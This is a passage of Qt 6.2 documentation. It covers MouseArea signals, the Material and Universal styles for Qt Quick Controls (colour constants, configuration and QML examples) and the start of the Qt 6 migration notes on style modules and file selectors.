 This signal is for advanced use: it is useful when there is more than one [MouseArea](qml-qtquick-mousearea) that is handling input, or when there is a [MouseArea](qml-qtquick-mousearea) inside a [Flickable](qml-qtquick-flickable). In the latter case, if you execute some logic in the `onPressed` signal handler and then start dragging, the [Flickable](qml-qtquick-flickable) will steal the mouse handling from the [MouseArea](qml-qtquick-mousearea). In these cases, to reset the logic when the [MouseArea](qml-qtquick-mousearea) has lost the mouse handling to the [Flickable](qml-qtquick-flickable), `canceled` should be handled in addition to [released](qml-qtquick-mousearea#released-signal).

 **Note:** The corresponding handler is `onCanceled`.

 ###  clicked([MouseEvent](qml-qtquick-mouseevent) *mouse*)

 This signal is emitted when there is a click. A click is defined as a press followed by a release, both inside the [MouseArea](qml-qtquick-mousearea) (pressing, moving outside the [MouseArea](qml-qtquick-mousearea), and then moving back inside and releasing is also considered a click).

 The [mouse](qml-qtquick-mouseevent) parameter provides information about the click, including the x and y position of the release of the click, and whether the click was held.

 When handling this signal, changing the [accepted](qml-qtquick-mouseevent#accepted-prop) property of the *mouse* parameter has no effect, unless the [propagateComposedEvents](qml-qtquick-mousearea#propagateComposedEvents-prop) property is `true`.

 **Note:** The corresponding handler is `onClicked`.

 ###  doubleClicked([MouseEvent](qml-qtquick-mouseevent) *mouse*)

 This signal is emitted when there is a double-click (a press followed by a release followed by a press). The [mouse](qml-qtquick-mouseevent) parameter provides information about the click, including the x and y position of the release of the click, and whether the click was held.

 When handling this signal, if the [accepted](qml-qtquick-mouseevent#accepted-prop) property of the *mouse* parameter is set to false, the pressed/released/clicked signals will be emitted for the second click; otherwise they are suppressed. The `accepted` property defaults to true.

 **Note:** The corresponding handler is `onDoubleClicked`.

 ###  entered()

 This signal is emitted when the mouse enters the mouse area.

 By default this signal is only emitted if a button is currently pressed. Set [hoverEnabled](qml-qtquick-mousearea#hoverEnabled-prop) to true to emit this signal even when no mouse button is pressed.

 **Note:** The corresponding handler is `onEntered`.

 **See also** [hoverEnabled](qml-qtquick-mousearea#hoverEnabled-prop).

 ###  exited()

 This signal is emitted when the mouse exits the mouse area.

 By default this signal is only emitted if a button is currently pressed. Set [hoverEnabled](qml-qtquick-mousearea#hoverEnabled-prop) to true to emit this signal even when no mouse button is pressed.

 The example below shows a fairly typical relationship between two MouseAreas, with `mouseArea2` on top of `mouseArea1`. Moving the mouse into `mouseArea2` from `mouseArea1` will cause `mouseArea1` to emit the `exited` signal.

 
```
Rectangle {
    width: 400; height: 400
    MouseArea {
        id: mouseArea1
        anchors.fill: parent
        hoverEnabled: true
    }
    MouseArea {
        id: mouseArea2
        width: 100; height: 100
        anchors.centerIn: parent
        hoverEnabled: true
    }
}
```
 If instead you give the two MouseAreas a parent-child relationship, moving the mouse into `mouseArea2` from `mouseArea1` will **not** cause `mouseArea1` to emit `exited`. Instead, they will both be considered to be simultaneously hovered.

 **Note:** The corresponding handler is `onExited`.

 **See also** [hoverEnabled](qml-qtquick-mousearea#hoverEnabled-prop).

 ###  positionChanged([MouseEvent](qml-qtquick-mouseevent) *mouse*)

 This signal is emitted when the mouse position changes.

 The [mouse](qml-qtquick-mouseevent) parameter provides information about the mouse, including the x and y position, and any buttons currently pressed.

 By default this signal is only emitted if a button is currently pressed. Set [hoverEnabled](qml-qtquick-mousearea#hoverEnabled-prop) to true to emit this signal even when no mouse button is pressed.

 When handling this signal, changing the [accepted](qml-qtquick-mouseevent#accepted-prop) property of the *mouse* parameter has no effect.

 **Note:** The corresponding handler is `onPositionChanged`.

 ###  pressAndHold([MouseEvent](qml-qtquick-mouseevent) *mouse*)

 This signal is emitted when there is a long press (currently 800ms). The [mouse](qml-qtquick-mouseevent) parameter provides information about the press, including the x and y position of the press, and which button is pressed.

 When handling this signal, changing the [accepted](qml-qtquick-mouseevent#accepted-prop) property of the *mouse* parameter has no effect, unless the [propagateComposedEvents](qml-qtquick-mousearea#propagateComposedEvents-prop) property is `true`.

 **Note:** The corresponding handler is `onPressAndHold`.

 ###  pressed([MouseEvent](qml-qtquick-mouseevent) *mouse*)

 This signal is emitted when there is a press. The [mouse](qml-qtquick-mouseevent) parameter provides information about the press, including the x and y position and which button was pressed.

 When handling this signal, use the [accepted](qml-qtquick-mouseevent#accepted-prop) property of the *mouse* parameter to control whether this [MouseArea](qml-qtquick-mousearea) handles the press and all future mouse events until release. The default is to accept the event and not allow other MouseAreas beneath this one to handle the event. If *accepted* is set to false, no further events will be sent to this [MouseArea](qml-qtquick-mousearea) until the button is next pressed.

 **Note:** The corresponding handler is `onPressed`.

 ###  released([MouseEvent](qml-qtquick-mouseevent) *mouse*)

 This signal is emitted when there is a release. The [mouse](qml-qtquick-mouseevent) parameter provides information about the click, including the x and y position of the release of the click, and whether the click was held.

 When handling this signal, changing the [accepted](qml-qtquick-mouseevent#accepted-prop) property of the *mouse* parameter has no effect.

 **Note:** The corresponding handler is `onReleased`.

 **See also** [canceled](qml-qtquick-mousearea#canceled-signal).

 ###  wheel([WheelEvent](qml-qtquick-wheelevent) *wheel*)

 This signal is emitted in response to both mouse wheel and trackpad scroll gestures.

 The *wheel* parameter provides information about the event, including the x and y position, any buttons currently pressed, and information about the wheel movement, including angleDelta and pixelDelta.

 **Note:** The corresponding handler is `onWheel`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-mousearea.html>

Material Style
==============

 The Material Style is based on the Google Material Design Guidelines. [More...](qtquickcontrols2-material#detailed-desc-material)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls.Material 2.12 |
|  Since: |  Qt 5.7 |


Attached Properties
-------------------

 * [**accent**](qtquickcontrols2-material#material-accent-attached-prop) : color
* [**background**](qtquickcontrols2-material#material-background-attached-prop) : color
* [**elevation**](qtquickcontrols2-material#material-elevation-attached-prop) : int
* [**foreground**](qtquickcontrols2-material#material-foreground-attached-prop) : color
* [**primary**](qtquickcontrols2-material#material-primary-attached-prop) : color
* [**theme**](qtquickcontrols2-material#material-theme-attached-prop) : enumeration

 Attached Methods
----------------

 * color [**color**](qtquickcontrols2-material#material-color-attached-method)(enumeration predefined, enumeration shade)

 Detailed Description
--------------------

 The Material style is based on the [Google Material Design Guidelines](https://www.google.com/design/spec/material-design/introduction.html). It allows for a unified experience across platforms and device sizes.

 

|  |  |
| --- | --- |
| 
The Material style in light theme | 
The Material style in dark theme |

 To run an application with the Material style, see [Using Styles in Qt Quick Controls](qtquickcontrols2-styles#using-styles-in-qt-quick-controls).

  **Note:** The Material style is not a native Android style. The Material style is a 100% cross-platform Qt Quick Controls style implementation that follows the Google Material Design Guidelines. The style runs on any platform, and looks more or less identical everywhere. Minor differences may occur due to differences in available system fonts and font rendering engines.

  ### Customization

 The Material style allows customizing five attributes, [theme](qtquickcontrols2-material#material-theme-attached-prop), [primary](qtquickcontrols2-material#material-primary-attached-prop), [accent](qtquickcontrols2-material#material-accent-attached-prop), [foreground](qtquickcontrols2-material#material-foreground-attached-prop), and [background](qtquickcontrols2-material#material-background-attached-prop).

 ![]


All attributes can be specified for any window or item, and they automatically propagate to children in the same manner as [fonts](qml-qtquick-controls2-control#font-prop). In the following example, the window and all three radio buttons appear in the dark theme using a purple accent color:

 

|  |  |
| --- | --- |
| 
```
import QtQuick 2.12
import QtQuick.Controls 2.12
import QtQuick.Controls.Material 2.12

ApplicationWindow {
    visible: true

    Material.theme: Material.Dark
    Material.accent: Material.Purple

    Column {
        anchors.centerIn: parent

        RadioButton { text: qsTr("Small") }
        RadioButton { text: qsTr("Medium");  checked: true }
        RadioButton { text: qsTr("Large") }
    }
}
```
 |  |

 In addition to specifying the attributes in QML, it is also possible to specify them via environment variables or in a configuration file. Attributes specified in QML take precedence over all other methods.

 #### Configuration File

 

| Variable | Description |
| --- | --- |
| `Theme` | Specifies the default [Material theme](qtquickcontrols2-material#material-theme-attached-prop). The value can be one of the available themes, for example `"Dark"`. |
| `Variant` | Specifies the Material variant. The Material Design has two variants: a normal variant designed for touch devices, and a dense variant for desktop. The dense variant uses smaller sizes for controls and their fonts.The value can be `"Normal"` or `"Dense"`. |
| `Accent` | Specifies the default [Material accent color](qtquickcontrols2-material#material-accent-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), but it is recommended to use one of the [pre-defined Material colors](qtquickcontrols2-material#pre-defined-material-colors), for example `"Teal"`. |
| `Primary` | Specifies the default [Material primary color](qtquickcontrols2-material#material-primary-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), but it is recommended to use one of the [pre-defined Material colors](qtquickcontrols2-material#pre-defined-material-colors), for example `"BlueGrey"`. |
| `Foreground` | Specifies the default [Material foreground color](qtquickcontrols2-material#material-foreground-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), or one of the [pre-defined Material colors](qtquickcontrols2-material#pre-defined-material-colors), for example `"Brown"`. |
| `Background` | Specifies the default [Material background color](qtquickcontrols2-material#material-background-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), or one of the [pre-defined Material colors](qtquickcontrols2-material#pre-defined-material-colors), for example `"Grey"`. |

 See [Qt Quick Controls Configuration File](qtquickcontrols2-configuration) for more details about the configuration file.

 #### Environment Variables

 

| Variable | Description |
| --- | --- |
| `QT_QUICK_CONTROLS_MATERIAL_THEME` | Specifies the default [Material theme](qtquickcontrols2-material#material-theme-attached-prop). The value can be one of the available themes, for example `"Dark"`. |
| `QT_QUICK_CONTROLS_MATERIAL_VARIANT` | Specifies the Material variant. The Material Design has two variants: a normal variant designed for touch devices, and a dense variant for desktop. The dense variant uses smaller sizes for controls and their fonts.The value can be `"Normal"` or `"Dense"`. |
| `QT_QUICK_CONTROLS_MATERIAL_ACCENT` | Specifies the default [Material accent color](qtquickcontrols2-material#material-accent-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), but it is recommended to use one of the [pre-defined Material colors](qtquickcontrols2-material#pre-defined-material-colors), for example `"Teal"`. |
| `QT_QUICK_CONTROLS_MATERIAL_PRIMARY` | Specifies the default [Material primary color](qtquickcontrols2-material#material-primary-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), but it is recommended to use one of the [pre-defined Material colors](qtquickcontrols2-material#pre-defined-material-colors), for example `"BlueGrey"`. |
| `QT_QUICK_CONTROLS_MATERIAL_FOREGROUND` | Specifies the default [Material foreground color](qtquickcontrols2-material#material-foreground-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), or one of the [pre-defined Material colors](qtquickcontrols2-material#pre-defined-material-colors), for example `"Brown"`. |
| `QT_QUICK_CONTROLS_MATERIAL_BACKGROUND` | Specifies the default [Material background color](qtquickcontrols2-material#material-background-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), or one of the [pre-defined Material colors](qtquickcontrols2-material#pre-defined-material-colors), for example `"Grey"`. |

 See [Supported Environment Variables in Qt Quick Controls](qtquickcontrols2-environment) for the full list of supported environment variables.

 ### Dependency

 The Material style must be separately imported to gain access to the attributes that are specific to the Material style. It should be noted that regardless of the references to the Material style, the same application code runs with any other style. Material-specific attributes only have an effect when the application is run with the Material style.

 If the Material style is imported in a QML file that is always loaded, the Material style must be deployed with the application in order to be able to run the application regardless of which style the application is run with. By using [file selectors](qtquickcontrols2-fileselectors), style-specific tweaks can be applied without creating a hard dependency to a style.

 ### Pre-defined Material Colors

 Even though primary and accent can be any [color](qml-color#colorbasictypedocs), it is recommended to use one of the pre-defined colors that have been designed to work well with the rest of the Material style palette:

 Available pre-defined colors:

 

| Constant | Description |
| --- | --- |
| `Material.Red` | #F44336  |
| `Material.Pink` | #E91E63 (default accent) |
| `Material.Purple` | #9C27B0  |
| `Material.DeepPurple` | #673AB7  |
| `Material.Indigo` | #3F51B5 (default primary) |
| `Material.Blue` | #2196F3  |
| `Material.LightBlue` | #03A9F4  |
| `Material.Cyan` | #00BCD4  |
| `Material.Teal` | #009688  |
| `Material.Green` | #4CAF50  |
| `Material.LightGreen` | #8BC34A  |
| `Material.Lime` | #CDDC39  |
| `Material.Yellow` | #FFEB3B  |
| `Material.Amber` | #FFC107  |
| `Material.Orange` | #FF9800  |
| `Material.DeepOrange` | #FF5722  |
| `Material.Brown` | #795548  |
| `Material.Grey` | #9E9E9E  |
| `Material.BlueGrey` | #607D8B  |

 When the dark theme is in use, different [shades](qtquickcontrols2-material#pre-defined-shades) of the pre-defined colors are used by default:

 

| Constant | Description |
| --- | --- |
| `Material.Red` | #EF9A9A  |
| `Material.Pink` | #F48FB1 (default accent) |
| `Material.Purple` | #CE93D8  |
| `Material.DeepPurple` | #B39DDB  |
| `Material.Indigo` | #9FA8DA (default primary) |
| `Material.Blue` | #90CAF9  |
| `Material.LightBlue` | #81D4FA  |
| `Material.Cyan` | #80DEEA  |
| `Material.Teal` | #80CBC4  |
| `Material.Green` | #A5D6A7  |
| `Material.LightGreen` | #C5E1A5  |
| `Material.Lime` | #E6EE9C  |
| `Material.Yellow` | #FFF59D  |
| `Material.Amber` | #FFE082  |
| `Material.Orange` | #FFCC80  |
| `Material.DeepOrange` | #FFAB91  |
| `Material.Brown` | #BCAAA4  |
| `Material.Grey` | #EEEEEE  |
| `Material.BlueGrey` | #B0BEC5  |

 ### Pre-defined Shades

 There are several different [shades](https://material.google.com/style/color.html#color-color-palette) of each [pre-defined color](qtquickcontrols2-material#pre-defined-material-colors) that can be passed to the [Material.color()](qtquickcontrols2-material#material-color-attached-method) function:

 

| Constant | Value |
| --- | --- |
| `Material.Shade50` |
| `Material.Shade100` |
| `Material.Shade200` |
| `Material.Shade300` |
| `Material.Shade400` |
| `Material.Shade500` |
| `Material.Shade600` |
| `Material.Shade700` |
| `Material.Shade800` |
| `Material.Shade900` |
| `Material.ShadeA100` |
| `Material.ShadeA200` |
| `Material.ShadeA400` |
| `Material.ShadeA700` |

 **See also** [Basic Style](qtquickcontrols2-basic), [Universal Style](qtquickcontrols2-universal)

 ### Variants

 The Material style also supports a dense variant, where controls like buttons and delegates are smaller in height and use smaller font sizes. It is recommended to use the dense variant on desktop platforms, where a mouse and keyboard allow more precise and flexible user interaction.

 To use the dense variant, either set the `QT_QUICK_CONTROLS_MATERIAL_VARIANT` environment variable to `Dense`, or specify `Variant=Dense` in the [qtquickcontrols2.conf](qtquickcontrols2-configuration) file. The default value in both cases is `Normal`.

 The following images illustrate the differences between some of the controls when using the normal and dense variants:

 

|  |  |
| --- | --- |
|  |  |

 Note that the heights shown above may vary based on differences in fonts across platforms.

 Attached Property Documentation
-------------------------------

 ### Material.accent : color


This attached property holds the accent color of the theme. The property can be attached to any window or item. The value is propagated to children.

 The default value is `Material.Pink`.

 In the following example, the accent color of the highlighted button is changed to `Material.Orange`:

 

|  |  |
| --- | --- |
| 
```
Button {
    text: qsTr("Button")
    highlighted: true
    Material.accent: Material.Orange
}
```
 |  |

  **Note:** Even though the accent can be any [color](qml-color#colorbasictypedocs), it is recommended to use one of the [pre-defined Material colors](qtquickcontrols2-material#pre-defined-material-colors) that have been designed to work well with the rest of the Material style palette.

  ### Material.background : color


This attached property holds the background color of the theme. The property can be attached to any window or item. The value is propagated to children.

 The default value is theme-specific (light or dark).

 In the following example, the background color of the button is changed to `Material.Teal`:

 

|  |  |
| --- | --- |
| 
```
Button {
    text: qsTr("Button")
    highlighted: true
    Material.background: Material.Teal
}
```
 |  |

 ### Material.elevation : int


This attached property holds the elevation of the control. The higher the elevation, the deeper the shadow. The property can be attached to any control, but not all controls visualize elevation.

 The default value is control-specific.

 In the following example, the elevation of the pane is set to `6` in order to achieve the look of an [elevated card](https://material.google.com/components/cards.html):

 

|  |  |
| --- | --- |
| 
```
Pane {
    width: 120
    height: 120

    Material.elevation: 6

    Label {
        text: qsTr("I'm a card!")
        anchors.centerIn: parent
    }
}
```
 |  |

 ### Material.foreground : color


This attached property holds the foreground color of the theme. The property can be attached to any window or item. The value is propagated to children.

 The default value is theme-specific (light or dark).

 In the following example, the foreground color of the button is set to `Material.Pink`:

 

|  |  |
| --- | --- |
| 
```
Button {
    text: qsTr("Button")
    Material.foreground: Material.Pink
}
```
 |  |

 ### Material.primary : color


This attached property holds the primary color of the theme. The property can be attached to any window or item. The value is propagated to children.

 The primary color is used as the background color of [ToolBar](qml-qtquick-controls2-toolbar) by default.

 The default value is `Material.Indigo`.

  **Note:** Even though the primary can be any [color](qml-color#colorbasictypedocs), it is recommended to use one of the [pre-defined Material colors](qtquickcontrols2-material#pre-defined-material-colors) that have been designed to work well with the rest of the Material style palette.

  ### Material.theme : enumeration


This attached property holds whether the theme is light or dark. The property can be attached to any window or item. The value is propagated to children.

 Available themes:

 

| Constant | Description |
| --- | --- |
| `Material.Light` | Light theme (default) |
| `Material.Dark` | Dark theme |
| `Material.System` | System theme |

 Setting the theme to `System` chooses either the light or dark theme based on the system theme colors. However, when reading the value of the theme property, the value is never `System`, but the actual theme.

 In the following example, the theme for both the pane and the button is set to `Material.Dark`:

 

|  |  |
| --- | --- |
| 
```
Pane {
    Material.theme: Material.Dark

    Button {
        text: qsTr("Button")
    }
}
```
 |  |

 Attached Method Documentation
-----------------------------

 ### color color(enumeration *predefined*, enumeration *shade*)


This attached method returns the effective color value of the specified [pre-defined Material color](qtquickcontrols2-material#pre-defined-material-colors) combined with the given [shade](qtquickcontrols2-material#pre-defined-shades). If omitted, the shade argument defaults to `Material.Shade500`.

 
```
Rectangle {
    color: Material.color(Material.Red)
}
```
 Related Information
-------------------

 * [Styling Qt Quick Controls](qtquickcontrols2-styles)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquickcontrols2-material.html>

Universal Style
===============

 The Universal Style is based on the Microsoft Universal Design Guidelines. [More...](qtquickcontrols2-universal#detailed-desc-universal)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls.Universal 2.12 |
|  Since: |  Qt 5.7 |


Attached Properties
-------------------

 * [**accent**](qtquickcontrols2-universal#universal-accent-attached-prop) : color
* [**background**](qtquickcontrols2-universal#universal-background-attached-prop) : color
* [**foreground**](qtquickcontrols2-universal#universal-foreground-attached-prop) : color
* [**theme**](qtquickcontrols2-universal#universal-theme-attached-prop) : enumeration

 Attached Methods
----------------

 * color [**color**](qtquickcontrols2-universal#color-attached-method)(enumeration predefined)

 Detailed Description
--------------------

 The Universal style is a device-agnostic style based on the [Microsoft Universal Design Guidelines](https://dev.windows.com/design). The Universal style has been designed to look good on all devices, from phones and tablets to PCs.

 

|  |  |
| --- | --- |
| 
The Universal style in light theme | 
The Universal style in dark theme |

 To run an application with the Universal style, see [Using Styles in Qt Quick Controls](qtquickcontrols2-styles#using-styles-in-qt-quick-controls).

  **Note:** The Universal style is not a native Windows 10 style. The Universal style is a 100% cross-platform Qt Quick Controls style implementation that follows the Microsoft Universal Design Guidelines. The style runs on any platform, and looks more or less identical everywhere. Minor differences may occur due to differences in available system fonts and font rendering engines.

  ### Customization

 The Universal style allows customizing four attributes, [theme](qtquickcontrols2-universal#universal-theme-attached-prop), [accent](qtquickcontrols2-universal#universal-accent-attached-prop), [foreground](qtquickcontrols2-universal#universal-foreground-attached-prop), and [background](qtquickcontrols2-universal#universal-background-attached-prop).

 ![]


Both attributes can be specified for any window or item, and they automatically propagate to children in the same manner as [fonts](qml-qtquick-controls2-control#font-prop). In the following example, the window and all three radio buttons appear in the dark theme using a violet accent color:

 

|  |  |
| --- | --- |
| 
```
import QtQuick 2.12
import QtQuick.Controls 2.12
import QtQuick.Controls.Universal 2.12

ApplicationWindow {
    visible: true

    Universal.theme: Universal.Dark
    Universal.accent: Universal.Violet

    Column {
        anchors.centerIn: parent

        RadioButton { text: qsTr("Small") }
        RadioButton { text: qsTr("Medium");  checked: true }
        RadioButton { text: qsTr("Large") }
    }
}
```
 |  |

 In addition to specifying the attributes in QML, it is also possible to specify them via environment variables or in a configuration file. Attributes specified in QML take precedence over all other methods.

 #### Configuration File

 

| Variable | Description |
| --- | --- |
| `Theme` | Specifies the default [Universal theme](qtquickcontrols2-universal#universal-theme-attached-prop). The value can be one of the available themes, for example `"Dark"`. |
| `Accent` | Specifies the default [Universal accent color](qtquickcontrols2-universal#universal-accent-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), but it is recommended to use one of the [pre-defined Universal colors](qtquickcontrols2-universal#pre-defined-universal-colors), for example `"Violet"`. |
| `Foreground` | Specifies the default [Universal foreground color](qtquickcontrols2-universal#universal-foreground-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), or one of the [pre-defined Universal colors](qtquickcontrols2-universal#pre-defined-universal-colors), for example `"Brown"`. |
| `Background` | Specifies the default [Universal background color](qtquickcontrols2-universal#universal-background-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), or one of the [pre-defined Universal colors](qtquickcontrols2-universal#pre-defined-universal-colors), for example `"Steel"`. |

 See [Qt Quick Controls Configuration File](qtquickcontrols2-configuration) for more details about the configuration file.

 #### Environment Variables

 

| Variable | Description |
| --- | --- |
| `QT_QUICK_CONTROLS_UNIVERSAL_THEME` | Specifies the default [Universal theme](qtquickcontrols2-universal#universal-theme-attached-prop). The value can be one of the available themes, for example `"Dark"`. |
| `QT_QUICK_CONTROLS_UNIVERSAL_ACCENT` | Specifies the default [Universal accent color](qtquickcontrols2-universal#universal-accent-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), but it is recommended to use one of the [pre-defined Universal colors](qtquickcontrols2-universal#pre-defined-universal-colors), for example `"Violet"`. |
| `QT_QUICK_CONTROLS_UNIVERSAL_FOREGROUND` | Specifies the default [Universal foreground color](qtquickcontrols2-universal#universal-foreground-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), or one of the [pre-defined Universal colors](qtquickcontrols2-universal#pre-defined-universal-colors), for example `"Brown"`. |
| `QT_QUICK_CONTROLS_UNIVERSAL_BACKGROUND` | Specifies the default [Universal background color](qtquickcontrols2-universal#universal-background-attached-prop). The value can be any [color](qml-color#colorbasictypedocs), or one of the [pre-defined Universal colors](qtquickcontrols2-universal#pre-defined-universal-colors), for example `"Steel"`. |

 See [Supported Environment Variables in Qt Quick Controls](qtquickcontrols2-environment) for the full list of supported environment variables.

 ### Dependency

 The Universal style must be separately imported to gain access to the attributes that are specific to the Universal style. It should be noted that regardless of the references to the Universal style, the same application code runs with any other style. Universal-specific attributes only have an effect when the application is run with the Universal style.

 If the Universal style is imported in a QML file that is always loaded, the Universal style must be deployed with the application in order to be able to run the application regardless of which style the application is run with. By using [file selectors](qtquickcontrols2-fileselectors), style-specific tweaks can be applied without creating a hard dependency to a style.

 ### Pre-defined Universal Colors

 Available pre-defined colors:

 

| Constant | Description |
| --- | --- |
| `Universal.Lime` | #A4C400  |
| `Universal.Green` | #60A917  |
| `Universal.Emerald` | #008A00  |
| `Universal.Teal` | #00ABA9  |
| `Universal.Cyan` | #1BA1E2  |
| `Universal.Cobalt` | #3E65FF (default accent) |
| `Universal.Indigo` | #6A00FF  |
| `Universal.Violet` | #AA00FF  |
| `Universal.Pink` | #F472D0  |
| `Universal.Magenta` | #D80073  |
| `Universal.Crimson` | #A20025  |
| `Universal.Red` | #E51400  |
| `Universal.Orange` | #FA6800  |
| `Universal.Amber` | #F0A30A  |
| `Universal.Yellow` | #E3C800  |
| `Universal.Brown` | #825A2C  |
| `Universal.Olive` | #6D8764  |
| `Universal.Steel` | #647687  |
| `Universal.Mauve` | #76608A  |
| `Universal.Taupe` | #87794E  |

 **See also** [Basic Style](qtquickcontrols2-basic), [Material Style](qtquickcontrols2-material)

 Attached Property Documentation
-------------------------------

 ### Universal.accent : color


This attached property holds the accent color of the theme. The property can be attached to any window or item. The value is propagated to children.

 The default value is `Universal.Cobalt`.

 In the following example, the accent color of the highlighted button is changed to `Universal.Orange`:

 

|  |  |
| --- | --- |
| 
```
Button {
    text: qsTr("Button")
    highlighted: true
    Universal.accent: Universal.Orange
}
```
 |  |

  **Note:** Even though the accent can be any [color](qml-color#colorbasictypedocs), it is recommended to use one of the [pre-defined Universal colors](qtquickcontrols2-universal#pre-defined-universal-colors) that have been designed to work well with the rest of the Universal style palette.

  ### Universal.background : color


This attached property holds the background color of the theme. The property can be attached to any window or item. The value is propagated to children.

 The default value is theme-specific (light or dark).

 In the following example, the background color of the pane is changed to `Universal.Steel`:

 

|  |  |
| --- | --- |
| 
```
Pane {
    Universal.background: Universal.Steel

    Button {
        text: qsTr("Button")
    }
}
```
 |  |

 ### Universal.foreground : color


This attached property holds the foreground color of the theme. The property can be attached to any window or item. The value is propagated to children.

 The default value is theme-specific (light or dark).

 In the following example, the foreground color of the button is set to `Universal.Pink`:

 

|  |  |
| --- | --- |
| 
```
Button {
    text: qsTr("Button")
    Universal.foreground: Universal.Pink
}
```
 |  |

 ### Universal.theme : enumeration


This attached property holds whether the theme is light or dark. The property can be attached to any window or item. The value is propagated to children.

 Available themes:

 

| Constant | Description |
| --- | --- |
| `Universal.Light` | Light theme (default) |
| `Universal.Dark` | Dark theme |
| `Universal.System` | System theme |

 Setting the theme to `System` chooses either the light or dark theme based on the system theme colors. However, when reading the value of the theme property, the value is never `System`, but the actual theme.

 In the following example, the theme for both the pane and the button is set to `Universal.Dark`:

 

|  |  |
| --- | --- |
| 
```
Pane {
    Universal.theme: Universal.Dark

    Button {
        text: qsTr("Button")
    }
}
```
 |  |

 Attached Method Documentation
-----------------------------

 ### color color(enumeration *predefined*)


This attached method returns the effective color value of the specified [pre-defined Universal color](qtquickcontrols2-universal#pre-defined-universal-colors).

 
```
Rectangle {
    color: Universal.color(Universal.Red)
}
```
 Related Information
-------------------

 * [Styling Qt Quick Controls](qtquickcontrols2-styles)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquickcontrols2-universal.html>

Changes to Qt Quick Controls
============================

 Qt 6 is a result of the conscious effort to make the framework more efficient and easy to use.

 We try to maintain compatibility for all the public APIs in each release. Some changes were inevitable in an effort to make Qt a better framework.

 In this topic we summarize those changes in Qt Quick Controls, and provide guidance to handle them.

 Migrating from Qt Quick Controls 1
----------------------------------

 Qt Quick Controls 1 was deprecated in Qt 5.11 and is removed from Qt 6.0. Use Qt Quick Controls (previously known as Qt Quick Controls 2) instead. For more information, refer to the [Qt 5.15: Qt Quick Controls vs Qt Quick Controls 1](https://doc.qt.io/qt-5/qtquickcontrols2-differences.html) topic in the Qt 5 documentation.

 Type registration changes
-------------------------

 Qt Quick Controls has undergone some large, mostly internal changes in Qt 6. By making use of the improved type registration introduced in Qt 5.15, we pave the way for compilation of the module's QML files to C++ and enable tooling to become more effective. In particular, Qt Creator's QML code model should have a more complete picture of types, making its completion and error checking of Qt Quick Controls code more reliable. Static analysis tools like qmllint and qmlformat also benefit by becoming aware of the types that are now declared at compile time in C++.

 As a result of these changes, some things are done a little differently.

 ### Custom styles are now proper QML modules

 To enable compile time type registration, each Qt Quick Controls style is now a proper QML module. Previously, a single `Button.qml` was sufficient to create your own style. While convenient, this required some non-standard API, which in turn required adaptation in tooling like Qt Designer.

 Now, all QML types that a style implements must be declared in that style's qmldir file:

 
```
module MyStyle
Button 1.0 Button.qml
```
 By unifying this with the rest of the QML world, styles become more familiar to developers and hopefully easier to understand for beginners. As a consequence, the following API had to be removed:

 * QQuickStyle::addStylePath()
* QQuickStyle::availableStyles()
* QQuickStyle::path()
* QQuickStyle::stylePathList()
* QT\_QUICK\_CONTROLS\_STYLE\_PATH

 Now that the styles are required to be found in the QML engine's import path like any other QML module, it is no longer necessary or possible to support this API.

 #### Style names

 In addition, there is now only one valid, case-sensitive form for style names: "Material", "MyStyle", and so on. That is: the style name must exactly match the name of the QML module. This also applies to file selectors, where previously, all style names were lower case. For example, where the following was a valid structure for a Qt 5 project:

 
```
MyProject
├── main.qml
├── HomePage.qml
└── +material
    └───HomePage.qml
```
 In Qt 6, `+material` becomes `+Material`:

 
```
MyProject
├── main.qml
├── HomePage.qml
└── +Material
    └───HomePage.qml
```
 All of the existing ways to [run an application with a specific style](qtquickcontrols2-styles#using-styles-in-qt-quick-controls) are still supported.

 ### Runtime and compile time style selection

 Importing a style now has extra meaning due to the way that imports work internally. Previously, importing `QtQuick.Controls` would register the control types from the current style with the QML engine:

 
```
import QtQuick.Controls
```
 We refer to this as runtime style selection, as the style is selected at runtime.

 Explicitly importing `QtQuick.Controls.Material` would then simply expose any extra API provided by that style (for example, the attached Material type):

 
```
import QtQuick.Controls.Material
```
 Now, explicitly importing a style does both.

 This effectively means that the control types (like Button) from the last imported style will be used. We refer to this as compile time style selection.

 This has implications for existing code. Namely, if your application supports more than one style, move these imports into their own QML files that are file-selected.

 For example, if you have the following `main.qml`:

 
```
import QtQuick.Controls
import QtQuick.Controls.Material
import QtQuick.Controls.Universal

ApplicationWindow {
    width: 600
    height: 400
    visible: true

    Material.theme: darkMode ? Material.Dark : Material.Light
    Universal.theme: darkMode ? Universal.Dark : Universal.Light

    // Child items, etc.
}
```
 You can move the common code into a "base" component:

 
```
// MainWindow.qml

import QtQuick.Controls

ApplicationWindow {}
```
 Then, add a `+Material` subdirectory, and in it, add the Material-specific code into `MainWindow.qml`:

 
```
// +Material/MainWindow.qml

import QtQuick.Controls.Material

ApplicationWindow {
    Material.theme: darkMode ? Material.Dark : Material.Light
}
```
 Do the same for Universal:

 
```
// +Universal/MainWindow.qml

import QtQuick.Controls.Universal

ApplicationWindow {
    Universal.theme: darkMode ? Universal.Dark : Universal.Light
}
```
 Then, in `main.qml`:

 
```
import QtQuick.Controls

MainWindow {
    width: 600
    height: 400
    visible: true

    // Child items, etc.
}
```
 See also: [Using File Selectors with Qt Quick Controls](qtquickcontrols2-fileselectors).

 Default Style
-------------

 The Default style was renamed to "Basic", as it is no longer the default style. Instead, the default style is now chosen based on the platform that Qt was built for:

 * Android: [Material Style](qtquickcontrols2-material)
